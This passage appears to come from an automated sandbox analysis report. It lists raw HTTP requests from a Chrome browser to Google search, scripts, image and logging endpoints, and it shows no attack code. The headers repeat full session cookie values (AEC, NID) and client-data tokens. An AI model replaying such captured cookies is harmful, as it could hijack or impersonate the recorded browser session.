NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.O0yDbPOOl4Q.O/ck=xjs.hd.uXKqy-U68Tg.L.B1.O/am=AEwBAAAAAACAAQAAAAAAAAAAAAAAAACAAABAAAAAAABACqCfBDAUADYEAAAAIABAAIAAIQBAKAAAAuAEEAEFAJAAEIBQEIBHmQCAEEAmQAAIUASQACgIcgABAAARAAOGARAVAAwBAAAAAQQAAAAM4MYAAgQAgBAAAXgAAQAE6AABMAAKIEBQAAMYCAAABAAAAKAHAMEBMEhBAAAAAAAAAAAAAAAAApAgmAsJKAggAAAAAAAAAAAAAAAAACnpxMIG/d=1/exm=SNUn3,cEt90b,cdos,csi,d,dtl0hd,eHDfl,hsm,jsa,mb4ZUb,qddgKe,sTsDMc/ed=1/dg=0/br=1/ujg=1/rs=ACT90oHrqdFD_oFp_AmAyXzeY67GUHO6TQ/ee=ALeJib:B8gLwd;AfeaP:TkrAjf;BMxAGc:E5bFse;BgS6mb:fidj5d;BjwMce:cXX2Wb;CxXAWb:YyRLvc;DM55c:imLrKe;DULqB:RKfG5c;Dkk6ge:wJqrrd;DpcR3d:zL72xf;EABSZ:MXZt9d;ESrPQc:mNTJvc;EVNhjf:pw70Gc;EmZ2Bf:zr1jrb;EnlcNd:WeHg4;Erl4fe:FloWmf;F9mqte:UoRcbe;Fmv9Nc:O1Tzwc;G0KhTb:LIaoZ;G6wU6e:hezEbd;GleZL:J1A7Od;HMDDWe:G8QUdb;HoYVKb:PkDN7e;HqeXPd:cmbnH;IBADCc:RYquRb;IZrNqe:P8ha2c;IoGlCf:b5lhvb;IsdWVc:qzxzOb;JXS8fb:Qj0suc;JbMT3:M25sS;JsbNhc:Xd8iUd;KOxcK:OZqGte;KQzWid:ZMKkN;KcokUb:KiuZBf;KpRAue:Tia57b;LBgRLc:SdcwHb,XVMNvd;LEikZe:byfTOb,lsjVmc;LsNahb:ucGLNb;Me32dd:MEeYgc;NPKaK:SdcwHb;NSEoX:lazG7b;Np8Qkd:Dpx6qc;Nyt6ic:jn2sGd;OgagBe:cNTe0;Oj465e:KG2eXe;OohIYe:mpEAQb;Pjplud:EEDORb,PoEs9b;Q1Ow7b:x5CSu;Q6C5kf:pfdZCe;QGR0gd:Mlhmy;R2kc8b:ALJqWb;R4IIIb:QWfeKf;R9Ulx:CR7Ufe;RDNBlf:zPRCJb;SLtqO:Kh1xYe;SMDL4c:fTfGO;SNUn3:ZwDk9d,x8cHvb;ShpF6e:N0pvGc;SzQQ3e:dNhofb;TxfV6d:YORN0b;U96pRd:FsR04;UBKJZ:LGDJGb;UDrY1c:eps46d;UVmjEd:EesRsb;UyG7Kb:wQd0G;V2HTTe:RolTY;VGRfx:VFqbr;VN6jIc:ddQyuf;VOcgDe:YquhTb;VsAqSb:PGf2Re;VxQ32b:k0XsBb;WCEKNd:I46Hvd;WDGyFe:jcVOxd;Wfmdue:g3MJlb;XUezZ:sa7lqb;YV5bee:IvPZ6d;YkQtAf:rx8ur;ZMvdv:PHFPjb;ZSH6tc:QAvyLe;ZWEUA:afR4Cf;a56pNe:JEfCwb;aAJE9c:WHW6Ef;aCJ9tf:qKftvc;aZ61od:arTwJ;af0EJf:ghinId;bDXwRe:UsyOtc;bcPXSc:gSZLJb;cEt90b:ws9Tlc;cFTWae:gT8qnd;coJ8e:KvoW8;dIoSBb:ZgGg9b;dLlj2:Qqt3Gf;daB6be:lMxGPd;dtl0hd:lLQWFe;eBAeSb:Ck63tb;eBZ5Nd:VruDBd;eHDfl:ofjVkb;eO3lse:nFClrf;euOXY:OZjbQ;g8nkx:U4MzKc;gaub4:TN6bMe;gtVSi:ekUOYd;h3MYod:cEt90b;hK67qb:QWEO5b;heHB1:sFczq;hjRo6e:F62sG;hsLsYc:Vl118;iFQyKf:QIhFr,vfuNJf;imqimf:jKGL2e;io8t5d:sgY6Zb;jY0zg:Q6tNgc;k2Qxcb:XY51pe;kCQyJ:ueyPK;kMFpHd:OTA3Ae;kbAm9d:MkHyGd;lkq0A:JyBE3e;nAFL3:NTMZac,s39S4;nJw4Gd:dPFZH;oGtAuc:sOXFj;oSUNyd:fTfGO;oUlnpc:RagDlc;okUaUd:wItadb;pKJiXd:VCenhc;pNsl2d:j9Yuyc;pXdRYb:JKoKVe;pj82le:mg5CW;qZx2Fc:j0xrE;qaS3gd:yiLg6e;qavrXe:zQzcXe;qddgKe:d7YSfd,x4FYXe;rQSrae:C6D5Fc;sP4Vbe:VwDzFe;sTsDMc:kHVSUb;sZmdvc:rdGEfc;tH4IIe:Ymry6;tosKvd:ZCqP3;trZL0b:qY8PFe;uY49fb:COQbmf;uuQkY:u2V3ud;vGrMZ:lPJJ0c;vfVwPd:lcrkwe;w3bZCb:ZPGaIb;w4rSdf:XKiZ9;w9w86d:dt4g2b;wQlYve:aLUfP;wR5FRb:O1Gjze,TtcOte;wV5Pjc:L8KGxe;whEZac:F4AmNb;xBbsrc:NEW1Qc;ysNiMc:CpIBjd;yxTchf:KUM7Z;z97YGf:oug9te;zOsCQe:Ko78Df;zaIgPb:Qtpxbd/m=B2qlPe,DhPYme,MpJwZc,NzU6V,UUJqVe,Wo3n8,aa,abd,async,epYOx,ifl,ms4mZb,pHXghd,q0xTif,s39S4,sOXFj,sb_wiz,sf,sonic,spch,zGLm3b?xjs=s1 HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chr
Source: global traffic HTTP traffic detected: GET /images/searchbox/desktop_searchbox_sprites318_hr.webp HTTP/1.1Host: www.google.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /widget/callout?prid=19037050&pgid=19037049&puid=9ceb59a7585b55bd&cce=1&dc=1&origin=https%3A%2F%2Fwww.google.com.br&cn=callout&pid=1&spid=538&hl=en HTTP/1.1Host: ogs.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /complete/search?q&cp=0&client=gws-wiz&xssi=t&gs_pcrt=2&hl=en&authuser=0&psi=J9-GZvKjJq-Jxc8Pk7aqmA0.1720114985301&dpr=1&nolsbt=1 HTTP/1.1Host: www.google.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /client_204?atyp=i&biw=1034&bih=870&ei=J9-GZvKjJq-Jxc8Pk7aqmA0&opi=89978449 HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.iZZZ0XsR8bM.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AAAQ/rs=AHpOoo_0-97nH_2IxP0suYF105-PdJv4zg/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /xjs/_/js/md=10/k=xjs.hd.en.O0yDbPOOl4Q.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAABACKAAAAAUAAAAAAAAAAAAAIAAIQBAKAAAAuAAEAEBAIAAAIBAEIBHmQAAEAAmAAAAAAQAACgIQAABAAAQAAAAAAAUAAAAAAAAAAAAAAAMIIAAAAAAAAAAAAAAAAAA6AAAAAACIEAQAAMYCAAABAAAAKAHAMEBMEhBAAAAAAAAAAAAAAAAApAgmAsJKAggAAAAAAAAAAAAAAAAACnpxMIG/rs=ACT90oEbz1QcJ7_--YgKEGx4ivY8shu-hw HTTP/1.1Host: www.google.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /images/hpp/ic_wahlberg_product_core_48.png8.png HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ogs.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /xjs/_/ss/k=xjs.hd.uXKqy-U68Tg.L.B1.O/am=AEwBAAAAAACAAQAAAAAAAAAAAAAAAACAAABAAAAAAAAACgCfBDAEADYEAAAAIABAAAAAAAAAKAAAAMAEAAAEAJAAEAAQEAAAAACAEEAAQAAIUASQACgIMgABAAARAAOGARAVAAwBAAAAAQQAAAAA4EYAAgQAgBAAAXgAAQAE6AABMAAIAABAAAMYCAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAgAKAAAAAAAAAAAAAAAAAAAACA/d=0/br=1/rs=ACT90oGsq-SoWBQak-dlJ1cJ1f6Qo33Eng/m=syj3,syka?xjs=s4 HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /xjs/_/js/k=xjs.hd.en.O0yDbPOOl4Q.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAABACKAAAAAUAAAAAAAAAAAAAIAAIQBAKAAAAuAAEAEBAIAAAIBAEIBHmQAAEAAmAAAAAAQAACgIQAABAAAQAAAAAAAUAAAAAAAAAAAAAAAMIIAAAAAAAAAAAAAAAAAA6AAAAAACIEAQAAMYCAAABAAAAKAHAMEBMEhBAAAAAAAAAAAAAAAAApAgmAsJKAggAAAAAAAAAAAAAAAAACnpxMIG/d=0/dg=0/br=1/rs=ACT90oEbz1QcJ7_--YgKEGx4ivY8shu-hw/m=sytl,sytk,VsqSCc,sy1b6,P10Owf,sy19v,sy19t,syq9,gSZvdb,syw5,syw4,WlNQGd,sywi,sywg,nabPbb,syqe,syqb,syqa,syq8,DPreE,syvz,syvx,syj3,syka,CnSW2d,kQvlef,sywh,fXO0xe?xjs=s4 HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /client_204?cs=1&opi=89978449 HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /async/hpba?vet=10ahUKEwiy08nU942HAxWvRPEDHRObCtMQj-0KCBY..i&ei=J9-GZvKjJq-Jxc8Pk7aqmA0&opi=89978449&yv=3&cs=0&async=isImageHp:false,eventId:J9-GZvKjJq-Jxc8Pk7aqmA0,endpoint:overlay,stick:,_basejs:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.O0yDbPOOl4Q.O%2Fam%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAABACKAAAAAUAAAAAAAAAAAAAIAAIQBAKAAAAuAAEAEBAIAAAIBAEIBHmQAAEAAmAAAAAAQAACgIQAABAAAQAAAAAAAUAAAAAAAAAAAAAAAMIIAAAAAAAAAAAAAAAAAA6AAAAAACIEAQAAMYCAAABAAAAKAHAMEBMEhBAAAAAAAAAAAAAAAAApAgmAsJKAggAAAAAAAAAAAAAAAAACnpxMIG%2Fdg%3D0%2Fbr%3D1%2Frs%3DACT90oEbz1QcJ7_--YgKEGx4ivY8shu-hw,_basecss:%2Fxjs%2F_%2Fss%2Fk%3Dxjs.hd.uXKqy-U68Tg.L.B1.O%2Fam%3DAEwBAAAAAACAAQAAAAAAAAAAAAAAAACAAABAAAAAAAAACgCfBDAEADYEAAAAIABAAAAAAAAAKAAAAMAEAAAEAJAAEAAQEAAAAACAEEAAQAAIUASQACgIMgABAAARAAOGARAVAAwBAAAAAQQAAAAA4EYAAgQAgBAAAXgAAQAE6AABMAAIAABAAAMYCAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAgAKAAAAAAAAAAAAAAAAAAAACA%2Fbr%3D1%2Frs%3DACT90oGsq-SoWBQak-dlJ1cJ1f6Qo33Eng,_basecomb:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.O0yDbPOOl4Q.O%2Fck%3Dxjs.hd.uXKqy-U68Tg.L.B1.O%2Fam%3DAEwBAAAAAACAAQAAAAAAAAAAAAAAAACAAABAAAAAAABACqCfBDAUADYEAAAAIABAAIAAIQBAKAAAAuAEEAEFAJAAEIBQEIBHmQCAEEAmQAAIUASQACgIcgABAAARAAOGARAVAAwBAAAAAQQAAAAM4MYAAgQAgBAAAXgAAQAE6AABMAAKIEBQAAMYCAAABAAAAKAHAMEBMEhBAAAAAAAAAAAAAAAAApAgmAsJKAggAAAAAAAAAAAAAAAAACnpxMIG%2Fd%3D1%2Fed%3D1%2Fdg%3D0%2Fbr%3D1%2Fujg%3D1%2Frs%3DACT90oHrqdFD_oFp_AmAyXzeY67GUHO6TQ,_fmt:prog,_id:a3JU5b HTTP/1.1Host: www.google.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.google.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: AEC=AVYB7cq9qpLJtwr_4wn6NSmj1M2L8sIKMTV2uqdncAQEzqqvSiIgeGgGkw; NID=515=rRBxRmJa0EpbZFLBmIw0OARb1ECo0TN6kBMUJ3KsZiO3FjmZRPHNzcSANFCPHOKq2LNPNVl_GnJ_E3CS7ETtmHCXqb56gef_UpALXxC-tS80FXnRBSev-If-hQpQpMPDdvyzxhlw_gyJu7IBhtrSyY-npOLrVKEHVXEr68Aj7gQ
Source: global traffic HTTP traffic detected: GET /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=515=S8iHhv07raf41epFxmKcnZq-hA3IiHf71KOMCXIODJtroBeNJXcAXcqaQiVJGLCP4yA3EuRsL1pp_8DfTgCYW5PFkh3vaRuOgrmUXpC53SdhPCcW-0XXuPifw_rc_nur1Tknbw4dSAwY5Ms_51lN3JuCjOlzI4duSVw6dwnCqvI
Source: global traffic HTTP traffic detected: GET /images/hpp/ic_wahlberg_product_core_48.png8.png HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=515=S8iHhv07raf41epFxmKcnZq-hA3IiHf71KOMCXIODJtroBeNJXcAXcqaQiVJGLCP4yA3EuRsL1pp_8DfTgCYW5PFkh3vaRuOgrmUXpC53SdhPCcW-0XXuPifw_rc_nur1Tknbw4dSAwY5Ms_51lN3JuCjOlzI4duSVw6dwnCqvI
Source: global traffic HTTP traffic detected: GET /xjs/_/ss/k=xjs.hd.uXKqy-U68Tg.L.B1.O/am=AEwBAAAAAACAAQAAAAAAAAAAAAAAAACAAABAAAAAAAAACgCfBDAEADYEAAAAIABAAAAAAAAAKAAAAMAEAAAEAJAAEAAQEAAAAACAEEAAQAAIUASQACgIMgABAAARAAOGARAVAAwBAAAAAQQAAAAA4EYAAgQAgBAAAXgAAQAE6AABMAAIAABAAAMYCAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAgAKAAAAAAAAAAAAAAAAAAAACA/d=0/br=1/rs=ACT90oGsq-SoWBQak-dlJ1cJ1f6Qo33Eng/m=syj3,syka?xjs=s4 HTTP/1.1Host: www.google.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 